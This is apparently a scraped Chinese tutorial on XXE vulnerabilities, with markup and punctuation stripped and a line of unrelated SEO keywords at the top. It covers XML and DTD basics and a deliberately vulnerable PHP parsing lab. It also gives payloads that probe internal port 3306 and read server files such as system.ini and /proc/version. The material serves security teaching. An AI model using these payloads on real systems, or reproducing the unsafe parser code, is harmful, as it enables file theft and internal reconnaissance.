做列表的网站,怎么看网站有没有做竞价,免费 网站建设,校园门户网站系统建设方案XXE漏洞
如果服务器没有对客户端的xml数据进行限制#xff0c;且版本较低的情况下#xff0c;就可能会产生xxe漏洞
漏洞利用流程
1.客户端发送xml文件#xff0c;其中dtd存在恶意的外部实体引用
2.服务器进行解析
3.服务器返回实体引用内容
危害#xff1a;任意文件读…XXE漏洞
如果服务器没有对客户端的xml数据进行限制且版本较低的情况下就可能会产生xxe漏洞
漏洞利用流程
1.客户端发送xml文件其中dtd存在恶意的外部实体引用
2.服务器进行解析
3.服务器返回实体引用内容
危害任意文件读取系统命令执行
实例
靶场代码[可替换为pikachu靶场]
headmeta charsetutf-8titlexxe测试/title
/head
bodyform action methodpostxml数据:brtextarea typetext namedata/textareabrinput typesubmit value提交 namesub/form
/body?phpdate_default_timezone_set(PRC);if(!empty($_POST[sub])){ $data $_POST[data];$xml simplexml_load_string($data);print($xml); }
?
页面效果 1.使用xxe获取服务器端口信息
paylod
?xml version1.0 encodingUTF-8?!DOCTYPE BookInfo[!ENTITY xxe SYSTEM http://127.0.0.1:3306]BookInfo
xxe;
/BookInfo
运行逻辑
当XML文档被一个存在xxe漏洞的XML解析器处理时解析器会首先解析DTD部分包括其中的外部实体定义。然后解析器会尝试解析xxe实体根据定义会向http://127.0.0.1:3306发起请求尝试获取数据。如果端口开启会正常响应如果关闭页面加载异常
2.任意文件读取
paylod
?xml version1.0 encodingUTF-8?!DOCTYPE BookInfo[!ENTITY xxe SYSTEM file:///c://windows//system.ini]BookInfo
xxe;
/BookInfo
在一些XML解析器中使用两个斜杠可以确保路径被正确解析尤其是在跨平台环境中。例如Windows系统通常使用反斜杠\作为路径分隔符而UNIX/Linux系统使用正斜杠/。通过使用两个斜杠确保路径在不同的操作系统中都能被正确解析。
windows路径file:///c://windows//system.ini linux路径file:///proc/version XML基础
XML翻译为可扩展的标记语言与html相比XML可自定义文档标签扩展性较强
用途存储配置文件数据交换
XML格式要求 XML文档必须有根元素 XML文档必须有关闭标签 XML标签对大小写敏感 XML元素必须被正确的嵌套 XML属性必须加引号 基础XML内容
?xml version1.0 encodingUTF-8?
BookInfoBookTitle书名/TitleAuthor张三/AuthorPublisher出版社/PublisherPublicationYear2024/PublicationYearISBN6226097558881666/ISBNGenre类型/GenrePrice1000/PriceDescription书籍简介/Description/BookSellerId6222083803003983/IdName李四/Name/Seller
/BookInfo
文档构成
文档第一行为xml声明文件描述xml版本及编码信息 ?xml version1.0 encodingUTF-8? 文档根元素为 BookInfo 闭合标签为 /BookInfo
文档根元素下具有 Book 和 Seller 子元素
其子元素下有若干个子元素进行信息的包含。如书籍的作者[张三]年份类型。购买者的信息如 序列号和姓名
这些元素构建成了·xml文档对信息进行描述和传递 XML文档规范
当xml文件内容过多时为防止内容混乱
引入了DTD文档类型描述用于声明文档结构
DTD定义了文档结构及元素的规则
DTD构成
DTD主要由一系列关键字构成这些关键字定义了XML文档的结构和规则
!DOCTYPE BookInfo [
!ELEMENT BookInfo (Book, Seller) !-- 定义根元素BookInfo包含Book和Seller两个元素 --
!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description) !-- 定义Book元素及其子元素 --
!ELEMENT Seller (Id, Name) !-- 定义Seller元素及其子元素 --
] 1. 文件类型声明 : !DOCTYPE 关键字DOCTYPE 表明此文件根元素为BookInfo 2. [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。 3. 元素定义!ELEMENT BookInfo (Book, Seller) 关键字ELEMENT 定义元素下有哪些子元素 DTD实体的定义
实体 相当于提前定义的全局变量的值可在文档中进行引用
实体的定义
关键字ENTITY
?xml version1.0 encodingUTF-8?
!DOCTYPE BookInfo[!ENTITY name xiaoming]内部实体的引用
?xml version1.0 encodingUTF-8?
!DOCTYPE BookInfo[!ENTITY name xiaoming]
BookInfo
namename;/name
/BookInfo
页面效果 外部实体文件及引用
外部实体文件
!ENTITY name xiaoming
文件引用
DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取
?xml version1.0 encodingUTF-8?!DOCTYPE BookInfo[!ENTITY name SYSTEM file:///D:/test/test.dtd ]BookInfo
namename;/name
/BookInfo
完整的xml文档内容
!-- 第一部分XML声明部分 --
?xml version1.0?!-- 第二部分文档类型定义 DTD --
!DOCTYPE note[
!-- 外部实体声明 --
!ENTITY entity-name SYSTEM URI/URL!-- 第三部分文档元素 --
notetoDave/tofromGiGi/fromheadReminder/headbodyfish together/body
/note